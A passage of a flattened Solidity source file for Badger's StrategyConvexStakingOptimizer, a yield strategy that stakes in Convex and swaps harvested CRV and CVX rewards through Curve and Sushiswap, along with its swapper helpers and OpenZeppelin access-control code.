function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy,
uint256 deadline
) external;
function exchange_underlying(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function exchange_underlying(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy,
uint256 deadline
) external;
function remove_liquidity(
uint256 _amount,
uint256 deadline,
uint256[2] calldata min_amounts
) external;
function remove_liquidity_imbalance(uint256[2] calldata amounts, uint256 deadline) external;
function remove_liquidity_imbalance(uint256[3] calldata amounts, uint256 max_burn_amount) external;
function remove_liquidity(uint256 _amount, uint256[3] calldata amounts) external;
function remove_liquidity_imbalance(uint256[4] calldata amounts, uint256 max_burn_amount) external;
function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external;
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 _min_amount
) external;
function commit_new_parameters(
int128 amplification,
int128 new_fee,
int128 new_admin_fee
) external;
function apply_new_parameters() external;
function revert_new_parameters() external;
function commit_transfer_ownership(address _owner) external;
function apply_transfer_ownership() external;
function revert_transfer_ownership() external;
function withdraw_admin_fees() external;
function coins(int128 arg0) external returns (address out);
function underlying_coins(int128 arg0) external returns (address out);
function balances(int128 arg0) external returns (uint256 out);
function A() external returns (int128 out);
function fee() external returns (int128 out);
function admin_fee() external returns (int128 out);
function owner() external returns (address out);
function admin_actions_deadline() external returns (uint256 out);
function transfer_ownership_deadline() external returns (uint256 out);
function future_A() external returns (int128 out);
function future_fee() external returns (int128 out);
function future_admin_fee() external returns (int128 out);
function future_owner() external returns (address out);
function calc_withdraw_one_coin(uint256 _token_amount, int128 _i) external view returns (uint256 out);
}
// File interfaces/curve/ICurveExchange.sol
pragma solidity >=0.6.0;
interface ICurveExchange {
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function get_dy(
int128,
int128 j,
uint256 dx
) external view returns (uint256);
function calc_token_amount(uint256[2] calldata amounts, bool deposit) external view returns (uint256 amount);
function add_liquidity(uint256[2] calldata amounts, uint256 min_mint_amount) external;
function remove_liquidity(uint256 _amount, uint256[2] calldata min_amounts) external;
function remove_liquidity_imbalance(uint256[2] calldata amounts, uint256 max_burn_amount) external;
function remove_liquidity_one_coin(
uint256 _token_amounts,
int128 i,
uint256 min_amount
) external;
}
interface ICurveRegistryAddressProvider {
function get_address(uint256 id) external returns (address);
}
interface ICurveRegistryExchange {
function get_best_rate(
address from,
address to,
uint256 amount
) external view returns (address, uint256);
function exchange(
address pool,
address from,
address to,
uint256 amount,
uint256 expected,
address receiver
) external payable returns (uint256);
}
// File interfaces/curve/ICurveRegistry.sol
pragma solidity >=0.5.0 <0.8.0;
interface ICurveRegistry {
function find_pool_for_coins(
address _from,
address _to,
uint256 _index
) external returns (address);
function get_coin_indices(
address _pool,
address _from,
address _to
)
external
returns (
int128,
int128,
bool
);
}
// File contracts/badger-sett/libraries/BaseSwapper.sol
pragma solidity ^0.6.11;
/*
Expands swapping functionality over base strategy
- ETH in and ETH out Variants
- Sushiswap support in addition to Uniswap
*/
contract BaseSwapper {
using SafeERC20Upgradeable for IERC20Upgradeable;
using AddressUpgradeable for address;
using SafeMathUpgradeable for uint256;
/// @dev Reset approval and approve exact amount
function _safeApproveHelper(
address token,
address recipient,
uint256 amount
) internal {
IERC20Upgradeable(token).safeApprove(recipient, 0);
IERC20Upgradeable(token).safeApprove(recipient, amount);
}
}
// File contracts/badger-sett/libraries/CurveSwapper.sol
pragma solidity ^0.6.11;
/*
Expands swapping functionality over base strategy
- ETH in and ETH out Variants
- Sushiswap support in addition to Uniswap
*/
contract CurveSwapper is BaseSwapper {
using SafeERC20Upgradeable for IERC20Upgradeable;
using AddressUpgradeable for address;
using SafeMathUpgradeable for uint256;
address public constant addressProvider = 0x0000000022D53366457F9d5E68Ec105046FC4383;
uint256 public constant registryId = 0;
uint256 public constant metaPoolFactoryId = 3;
function _exchange(
address _from,
address _to,
uint256 _dx,
uint256 _min_dy,
uint256 _index,
bool _isFactoryPool
) internal {
address poolRegistry = ICurveRegistryAddressProvider(addressProvider).get_address(_isFactoryPool ? metaPoolFactoryId : registryId);
address poolAddress = ICurveRegistry(poolRegistry).find_pool_for_coins(_from, _to, _index);
if (poolAddress != address(0)) {
_safeApproveHelper(_from, poolAddress, _dx);
(int128 i, int128 j, ) = ICurveRegistry(poolRegistry).get_coin_indices(poolAddress, _from, _to);
ICurveFi(poolAddress).exchange(i, j, _dx, _min_dy);
}
}
function _add_liquidity_single_coin(
address swap,
address pool,
address inputToken,
uint256 inputAmount,
uint256 inputPosition,
uint256 numPoolElements,
uint256 min_mint_amount
) internal {
_safeApproveHelper(inputToken, swap, inputAmount);
if (numPoolElements == 2) {
uint256[2] memory convertedAmounts;
convertedAmounts[inputPosition] = inputAmount;
ICurveFi(swap).add_liquidity(convertedAmounts, min_mint_amount);
} else if (numPoolElements == 3) {
uint256[3] memory convertedAmounts;
convertedAmounts[inputPosition] = inputAmount;
ICurveFi(swap).add_liquidity(convertedAmounts, min_mint_amount);
} else if (numPoolElements == 4) {
uint256[4] memory convertedAmounts;
convertedAmounts[inputPosition] = inputAmount;
ICurveFi(swap).add_liquidity(convertedAmounts, min_mint_amount);
} else {
revert("Bad numPoolElements");
}
}
function _add_liquidity(
address pool,
uint256[2] memory amounts,
uint256 min_mint_amount
) internal {
ICurveFi(pool).add_liquidity(amounts, min_mint_amount);
}
function _add_liquidity(
address pool,
uint256[3] memory amounts,
uint256 min_mint_amount
) internal {
ICurveFi(pool).add_liquidity(amounts, min_mint_amount);
}
function _add_liquidity(
address pool,
uint256[4] memory amounts,
uint256 min_mint_amount
) internal {
ICurveFi(pool).add_liquidity(amounts, min_mint_amount);
}
function _remove_liquidity_one_coin(
address swap,
uint256 _token_amount,
int128 i,
uint256 _min_amount
) internal {
ICurveFi(swap).remove_liquidity_one_coin(_token_amount, i, _min_amount);
}
}
// File deps/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
using AddressUpgradeable for address;
struct RoleData {
EnumerableSetUpgradeable.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// File contracts/badger-sett/libraries/UniswapSwapper.sol
pragma solidity ^0.6.11;
/*
Expands swapping functionality over base strategy
- ETH in and ETH out Variants
- Sushiswap support in addition to Uniswap
*/
contract UniswapSwapper is BaseSwapper {
using SafeERC20Upgradeable for IERC20Upgradeable;
using AddressUpgradeable for address;
using SafeMathUpgradeable for uint256;
address internal constant uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Uniswap router
address internal constant sushiswap = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; // Sushiswap router
function _swapExactTokensForTokens(
address router,
address startToken,
uint256 balance,
address[] memory path
) internal {
_safeApproveHelper(startToken, router, balance);
IUniswapRouterV2(router).swapExactTokensForTokens(balance, 0, path, address(this), now);
}
function _swapExactETHForTokens(
address router,
uint256 balance,
address[] memory path
) internal {
IUniswapRouterV2(uniswap).swapExactETHForTokens{value: balance}(0, path, address(this), now);
}
function _swapExactTokensForETH(
address router,
address startToken,
uint256 balance,
address[] memory path
) internal {
_safeApproveHelper(startToken, router, balance);
IUniswapRouterV2(router).swapExactTokensForETH(balance, 0, path, address(this), now);
}
function _getPair(
address router,
address token0,
address token1
) internal view returns (address) {
address factory = IUniswapRouterV2(router).factory();
return IUniswapV2Factory(factory).getPair(token0, token1);
}
/// @notice Add liquidity to uniswap for specified token pair, utilizing the maximum balance possible
function _addMaxLiquidity(
address router,
address token0,
address token1
) internal {
uint256 _token0Balance = IERC20Upgradeable(token0).balanceOf(address(this));
uint256 _token1Balance = IERC20Upgradeable(token1).balanceOf(address(this));
_safeApproveHelper(token0, router, _token0Balance);
_safeApproveHelper(token1, router, _token1Balance);
IUniswapRouterV2(router).addLiquidity(token0, token1, _token0Balance, _token1Balance, 0, 0, address(this), block.timestamp);
}
function _addMaxLiquidityEth(address router, address token0) internal {
uint256 _token0Balance = IERC20Upgradeable(token0).balanceOf(address(this));
uint256 _ethBalance = address(this).balance;
_safeApproveHelper(token0, router, _token0Balance);
IUniswapRouterV2(router).addLiquidityETH{value: address(this).balance}(token0, _token0Balance, 0, 0, address(this), block.timestamp);
}
}
// File contracts/badger-sett/libraries/TokenSwapPathRegistry.sol
pragma solidity ^0.6.11;
/*
Expands swapping functionality over base strategy
- ETH in and ETH out Variants
- Sushiswap support in addition to Uniswap
*/
contract TokenSwapPathRegistry {
mapping(address => mapping(address => address[])) public tokenSwapPaths;
event TokenSwapPathSet(address tokenIn, address tokenOut, address[] path);
function getTokenSwapPath(address tokenIn, address tokenOut) public view returns (address[] memory) {
return tokenSwapPaths[tokenIn][tokenOut];
}
function _setTokenSwapPath(
address tokenIn,
address tokenOut,
address[] memory path
) internal {
tokenSwapPaths[tokenIn][tokenOut] = path;
emit TokenSwapPathSet(tokenIn, tokenOut, path);
}
}
// File contracts/badger-sett/strategies/convex/StrategyConvexStakingOptimizer.sol
pragma solidity ^0.6.11;
/*
=== Deposit ===
Deposit & Stake underlying asset into appropriate convex vault (deposit + stake is atomic)
=== Tend ===
== Stage 1: Realize gains from all positions ==
Harvest CRV and CVX from core vault rewards pool
Harvest CVX and SUSHI from CVX/ETH LP
Harvest CVX and SUSHI from cvxCRV/CRV LP
Harvested coins:
CRV
CVX
SUSHI
== Stage 2: Deposit all gains into staked positions ==
Zap all CRV -> cvxCRV/CRV
Zap all CVX -> CVX/ETH
Stake Sushi
Position coins:
cvxCRV/CRV
CVX/ETH
xSushi
These position coins will be distributed on harvest
Changelog:
V1.1
* Implemented the _exchange function from the CurveSwapper library to perform the CRV -> cvxCRV and vice versa
swaps through curve instead of Sushiswap.
* It now swaps 3CRV into CRV instead of cvxCRV. If enough is aquired, it swaps this CRV for wBTC directly and, if not,
it swaps some cvxCRV for CRV to compensate.
* Removed some unused functions and variables such as the `addExtraRewardsToken` and `removeExtraRewardsToken` functions
as well as the obsolete swapping paths.
*/
contract StrategyConvexStakingOptimizer is BaseStrategy, CurveSwapper, UniswapSwapper, TokenSwapPathRegistry {
using SafeERC20Upgradeable for IERC20Upgradeable;
using AddressUpgradeable for address;
using SafeMathUpgradeable for uint256;
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
// ===== Token Registry =====
address public constant wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant crv = 0xD533a949740bb3306d119CC777fa900bA034cd52;
address public constant cvx = 0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B;
address public constant cvxCrv = 0x62B9c7356A2Dc64a1969e19C23e4f579F9810Aa7;
address public constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public constant threeCrv = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490;
IERC20Upgradeable public constant wbtcToken = IERC20Upgradeable(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
IERC20Upgradeable public constant crvToken = IERC20Upgradeable(0xD533a949740bb3306d119CC777fa900bA034cd52);
IERC20Upgradeable public constant cvxToken = IERC20Upgradeable(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B);
IERC20Upgradeable public constant cvxCrvToken = IERC20Upgradeable(0x62B9c7356A2Dc64a1969e19C23e4f579F9810Aa7);
IERC20Upgradeable public constant usdcToken = IERC20Upgradeable(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20Upgradeable public constant threeCrvToken = IERC20Upgradeable(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
// ===== Convex Registry =====
CrvDepositor public constant crvDepositor = CrvDepositor(0x8014595F2AB54cD7c604B00E9fb932176fDc86Ae); // Convert CRV -> cvxCRV
IBooster public constant booster = IBooster(0xF403C135812408BFbE8713b5A23a04b3D48AAE31);
IBaseRewardsPool public baseRewardsPool;
IBaseRewardsPool public constant cvxCrvRewardsPool = IBaseRewardsPool(0x3Fe65692bfCD0e6CF84cB1E7d24108E434A7587e);
ICvxRewardsPool public constant cvxRewardsPool = ICvxRewardsPool(0xCF50b810E57Ac33B91dCF525C6ddd9881B139332);
address public constant threeCrvSwap = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;
uint256 public constant MAX_UINT_256 = uint256(-1);
uint256 public pid;
address public badgerTree;
ISettV4 public cvxHelperVault;
ISettV4 public cvxCrvHelperVault;
/**
The default conditions for a rewards token are:
- Collect rewards token
- Distribute 100% via Tree to users
=== Harvest Config ===
- autoCompoundingBps: Sell this % of rewards for underlying asset.
- autoCompoundingPerfFee: Of the auto compounded portion, take this % as a performance fee.
- treeDistributionPerfFee: Of the remaining portion (everything not distributed or converted via another mehcanic is distributed via the tree), take this % as a performance fee.
=== Tend Config ===
- tendConvertTo: On tend, convert some of this token into another asset. By default with value as address(0), skip this step.
- tendConvertBps: Convert this portion of balance into another asset.
*/
struct RewardTokenConfig {
uint256 autoCompoundingBps;
uint256 autoCompoundingPerfFee;
uint256 treeDistributionPerfFee;
address tendConvertTo;
uint256 tendConvertBps;
}
struct CurvePoolConfig {
address swap;
uint256 wbtcPosition;
uint256 numElements;
}
EnumerableSetUpgradeable.AddressSet internal extraRewards; // Tokens other than CVX and cvxCRV to process as rewards
mapping(address => RewardTokenConfig) public rewardsTokenConfig;
CurvePoolConfig public curvePool;
uint256 public autoCompoundingBps;
uint256 public autoCompoundingPerformanceFeeGovernance;
uint256 public crvCvxCrvSlippageToleranceBps;
uint256 public constant crvCvxCrvPoolIndex = 2;
event TreeDistribution(address indexed token, uint256 amount, uint256 indexed blockNumber, uint256 timestamp);
event PerformanceFeeGovernance(
address indexed destination,
address indexed token,
uint256 amount,
uint256 indexed blockNumber,
uint256 timestamp
);
event PerformanceFeeStrategist(
address indexed destination,
address indexed token,
uint256 amount,
uint256 indexed blockNumber,
uint256 timestamp
);
event WithdrawState(uint256 toWithdraw, uint256 preWant, uint256 postWant, uint256 withdrawn);
struct HarvestData {
uint256 cvxCrvHarvested;
uint256 cvxHarvsted;
}
struct TendData {
uint256 crvTended;
uint256 cvxTended;
uint256 cvxCrvTended;
}
event TendState(uint256 crvTended, uint256 cvxTended, uint256 cvxCrvTended);
function initialize(
address _governance,
address _strategist,
address _controller,
address _keeper,
address _guardian,
address[4] memory _wantConfig,
uint256 _pid,
uint256[3] memory _feeConfig,
CurvePoolConfig memory _curvePool
) public initializer whenNotPaused {
__BaseStrategy_init(_governance, _strategist, _controller, _keeper, _guardian);
want = _wantConfig[0];
badgerTree = _wantConfig[1];
cvxHelperVault = ISettV4(_wantConfig[2]);
cvxCrvHelperVault = ISettV4(_wantConfig[3]);
pid = _pid; // Core staking pool ID
IBooster.PoolInfo memory poolInfo = booster.poolInfo(pid);
baseRewardsPool = IBaseRewardsPool(poolInfo.crvRewards);
performanceFeeGovernance = _feeConfig[0];
performanceFeeStrategist = _feeConfig[1];
withdrawalFee = _feeConfig[2];
// Approvals: Staking Pools
IERC20Upgradeable(want).approve(address(booster), MAX_UINT_256);
cvxToken.approve(address(cvxRewardsPool), MAX_UINT_256);
cvxCrvToken.approve(address(cvxCrvRewardsPool), MAX_UINT_256);
// Approvals: CRV -> cvxCRV converter
crvToken.approve(address(crvDepositor), MAX_UINT_256);
curvePool = CurvePoolConfig(_curvePool.swap, _curvePool.wbtcPosition, _curvePool.numElements);
// Set Swap Paths
address[] memory path = new address[](3);
path[0] = cvx;
path[1] = weth;
path[2] = wbtc;
_setTokenSwapPath(cvx, wbtc, path);
path = new address[](3);
path[0] = usdc;
path[1] = weth;
path[2] = crv;
_setTokenSwapPath(usdc, crv, path);
path = new address[](3);
path[0] = crv;
path[1] = weth;
path[2] = wbtc;
_setTokenSwapPath(crv, wbtc, path);
_initializeApprovals();
autoCompoundingBps = 2000;
autoCompoundingPerformanceFeeGovernance = 5000;
crvCvxCrvSlippageToleranceBps = 500;
}
/// ===== Permissioned Functions =====
function setPid(uint256 _pid) external {
_onlyGovernance();
pid = _pid; // LP token pool ID
}
function setAutoCompoundingBps(uint256 _bps) external {
_onlyGovernance();
autoCompoundingBps = _bps;
}
function setAutoCompoundingPerformanceFeeGovernance(uint256 _bps) external {
_onlyGovernance();
autoCompoundingPerformanceFeeGovernance = _bps;
}
function initializeApprovals() external {
_onlyGovernance();
_initializeApprovals();
}
function setCurvePoolSwap(address _swap) external {
_onlyGovernance();
curvePool.swap = _swap;
}
function setCrvCvxCrvSlippageToleranceBps(uint256 _sl) external {
_onlyGovernance();
crvCvxCrvSlippageToleranceBps = _sl;
}
function _initializeApprovals() internal {
cvxToken.approve(address(cvxHelperVault), MAX_UINT_256);
cvxCrvToken.approve(address(cvxCrvHelperVault), MAX_UINT_256);
}
/// ===== View Functions =====
function version() external pure returns (string memory) {
return "1.1";
}
function getName() external override pure returns (string memory) {
return "StrategyConvexStakingOptimizer";
}
function balanceOfPool() public override view returns (uint256) {
return baseRewardsPool.balanceOf(address(this));
}
function getProtectedTokens() public override view returns (address[] memory) {
address[] memory protectedTokens = new address[](4);
protectedTokens[0] = want;
protectedTokens[1] = crv;
protectedTokens[2] = cvx;
protectedTokens[3] = cvxCrv;
return protectedTokens;
}
function isTendable() public override view returns (bool) {
return true;
}
/// ===== Internal Core Implementations =====
function _onlyNotProtectedTokens(address _asset) internal override {
require(address(want) != _asset, "want");
require(address(crv) != _asset, "crv");
require(address(cvx) != _asset, "cvx");
require(address(cvxCrv) != _asset, "cvxCrv");
}
/// @dev Deposit Badger into the staking contract
function _deposit(uint256 _want) internal override {
// Deposit all want in core staking pool
booster.deposit(pid, _want, true);
}
/// @dev Unroll from all strategy positions, and transfer non-core tokens to controller rewards
function _withdrawAll() internal override {
baseRewardsPool.withdrawAndUnwrap(balanceOfPool(), false);
// Note: All want is automatically withdrawn outside this "inner hook" in base strategy function
}
/// @dev Withdraw want from staking rewards, using earnings first
function _withdrawSome(uint256 _amount) internal override returns (uint256) {
// Get idle want in the strategy
uint256 _preWant = IERC20Upgradeable(want).balanceOf(address(this));
// If we lack sufficient idle want, withdraw the difference from the strategy position
if (_preWant < _amount) {
uint256 _toWithdraw = _amount.sub(_preWant);
baseRewardsPool.withdrawAndUnwrap(_toWithdraw, false);
}
// Confirm how much want we actually end up with
uint256 _postWant = IERC20Upgradeable(want).balanceOf(address(this));
// Return the actual amount withdrawn if less than requested
uint256 _withdrawn = MathUpgradeable.min(_postWant, _amount);
emit WithdrawState(_amount, _preWant, _postWant, _withdrawn);
return _withdrawn;
}
function _tendGainsFromPositions() internal {
// Harvest CRV, CVX, cvxCRV, 3CRV, and extra rewards tokens from staking positions
// Note: Always claim extras
baseRewardsPool.getReward(address(this), true);
if (cvxCrvRewardsPool.earned(address(this)) > 0) {
cvxCrvRewardsPool.getReward(address(this), true);
}
if (cvxRewardsPool.earned(address(this)) > 0) {
cvxRewardsPool.getReward(false);
}
}
/// @notice The more frequent the tend, the higher returns will be
function tend() external whenNotPaused returns (TendData memory) {
_onlyAuthorizedActors();
TendData memory tendData;
// 1. Harvest gains from positions
_tendGainsFromPositions();
// Track harvested coins, before conversion
tendData.crvTended = crvToken.balanceOf(address(this));
// 2. Convert CRV -> cvxCRV
if (tendData.crvTended > 0) {
uint256 minCvxCrvOut = tendData.crvTended.mul(MAX_FEE.sub(crvCvxCrvSlippageToleranceBps)).div(MAX_FEE);
_exchange(crv, cvxCrv, tendData.crvTended, minCvxCrvOut, crvCvxCrvPoolIndex, true);
}
// Track harvested + converted coins
tendData.cvxCrvTended = cvxCrvToken.balanceOf(address(this));
tendData.cvxTended = cvxToken.balanceOf(address(this));
// 3. Stake all cvxCRV
if (tendData.cvxCrvTended > 0) {
cvxCrvRewardsPool.stake(tendData.cvxCrvTended);
}
// 4. Stake all CVX
if (tendData.cvxTended > 0) {
cvxRewardsPool.stake(cvxToken.balanceOf(address(this)));
}
emit Tend(0);
emit TendState(tendData.crvTended, tendData.cvxTended, tendData.cvxCrvTended);
return tendData;
}
// No-op until we optimize harvesting strategy. Auto-compouding is key.
function harvest() external whenNotPaused returns (uint256) {
_onlyAuthorizedActors();
HarvestData memory harvestData;
uint256 idleWant = IERC20Upgradeable(want).balanceOf(address(this));
uint256 totalWantBefore = balanceOf();
// TODO: Harvest details still under constructuion. It's being designed to optimize yield while still allowing on-demand access to profits for users.
// 1. Withdraw accrued rewards from staking positions (claim unclaimed positions as well)
baseRewardsPool.getReward(address(this), true);
uint256 cvxCrvRewardsPoolBalance = cvxCrvRewardsPool.balanceOf(address(this));
if (cvxCrvRewardsPoolBalance > 0) {
cvxCrvRewardsPool.withdraw(cvxCrvRewardsPoolBalance, true);
}
uint256 cvxRewardsPoolBalance = cvxRewardsPool.balanceOf(address(this));
if (cvxRewardsPoolBalance > 0) {
cvxRewardsPool.withdraw(cvxRewardsPoolBalance, true);
}
harvestData.cvxCrvHarvested = cvxCrvToken.balanceOf(address(this));
harvestData.cvxHarvsted = cvxToken.balanceOf(address(this));
// 2. Convert 3CRV -> CRV via USDC
uint256 threeCrvBalance = threeCrvToken.balanceOf(address(this));
if (threeCrvBalance > 0) {
_remove_liquidity_one_coin(threeCrvSwap, threeCrvBalance, 1, 0);
uint256 usdcBalance = usdcToken.balanceOf(address(this));
if (usdcBalance > 0) {
_swapExactTokensForTokens(sushiswap, usdc, usdcBalance, getTokenSwapPath(usdc, crv));
}
}
// 3. Sell 20% of accured rewards for underlying
if (harvestData.cvxCrvHarvested > 0) {
// NOTE: Assumes 1:1 CRV/cvxCRV
uint256 crvToSell = harvestData.cvxCrvHarvested.mul(autoCompoundingBps).div(MAX_FEE);
// NOTE: Assuming any CRV accumulted is only from the above swap
uint256 crvBalance = crvToken.balanceOf(address(this));
if (crvToSell > crvBalance) {
// NOTE: Assumes 1:1 CRV/cvxCRV
uint256 cvxCrvToSell = crvToSell.sub(crvBalance);
uint256 minCrvOut = cvxCrvToSell.mul(MAX_FEE.sub(crvCvxCrvSlippageToleranceBps)).div(MAX_FEE);
_exchange(cvxCrv, crv, cvxCrvToSell, minCrvOut, crvCvxCrvPoolIndex, true);
crvToSell = crvToken.balanceOf(address(this));
}
_swapExactTokensForTokens(sushiswap, crv, crvToSell, getTokenSwapPath(crv, wbtc));
}
// 4. Convert CRV -> cvxCRV
uint256 crvBalance = crvToken.balanceOf(address(this));
if (crvBalance > 0) {
uint256 minCvxCrvOut = crvBalance.mul(MAX_FEE.sub(crvCvxCrvSlippageToleranceBps)).div(MAX_FEE);
_exchange(crv, cvxCrv, crvBalance, minCvxCrvOut, crvCvxCrvPoolIndex, true);
}
if (harvestData.cvxHarvsted > 0) {
uint256 cvxToSell = harvestData.cvxHarvsted.mul(autoCompoundingBps).div(MAX_FEE);
_swapExactTokensForTokens(sushiswap, cvx, cvxToSell, getTokenSwapPath(cvx, wbtc));
}
// Process extra rewards tokens
// Note: Assumes asset is ultimately swappable on Uniswap for underlying
// {
// for (uint256 i = 0; i < extraRewards.length(); i=i+1) {
// address token = extraRewards.at(i);
// RewardTokenConfig memory rewardsConfig = rewardsTokenConfig[token];
// /*
// autoCompoundingBps = 30
// autoCompoundingPerfFee = 10000
// treeDistributionPerfFee = 0
// */
// IERC20Upgradeable tokenContract = IERC20Upgradeable(token);
// uint256 tokenBalance = tokenContract.balanceOf(address(this));
// // Sell compounding proportion to wbtc
// uint256 amountToSell = tokenBalance.mul(rewardsConfig.autoCompoundingBps).div(MAX_FEE);
// _swapExactTokensForTokens(uniswap, token, amountToSell, getTokenSwapPath(token, wbtc));
// uint256 wbtcToDeposit = wbtcToken.balanceOf(address(this));
// // TODO: Significant optimization by batching this will other curve deposit
// _add_liquidity_single_coin(curvePool.swap, want, wbtc, wbtcToDeposit, curvePool.wbtcPosition, curvePool.numElements, 0);
// uint256 wantGained = IERC20Upgradeable(want).balanceOf(address(this)).sub(idleWant);
// uint256 autoCompoundedPerformanceFee = wantGained.mul(rewardsConfig.autoCompoundingPerfFee).div(MAX_FEE);
// IERC20Upgradeable(want).transfer(IController(controller).rewards(), autoCompoundedPerformanceFee);
// emit PerformanceFeeGovernance(IController(controller).rewards(), want, autoCompoundedPerformanceFee, block.number, block.timestamp);
// // Distribute remainder to users
// uint256 treeRewardBalanceBefore = tokenContract.balanceOf(badgerTree);
// uint256 remainingRewardBalance = tokenContract.balanceOf(address(this));
// tokenContract.safeTransfer(badgerTree, remainingRewardBalance);
// uint256 treeRewardBalanceAfter = tokenContract.balanceOf(badgerTree);
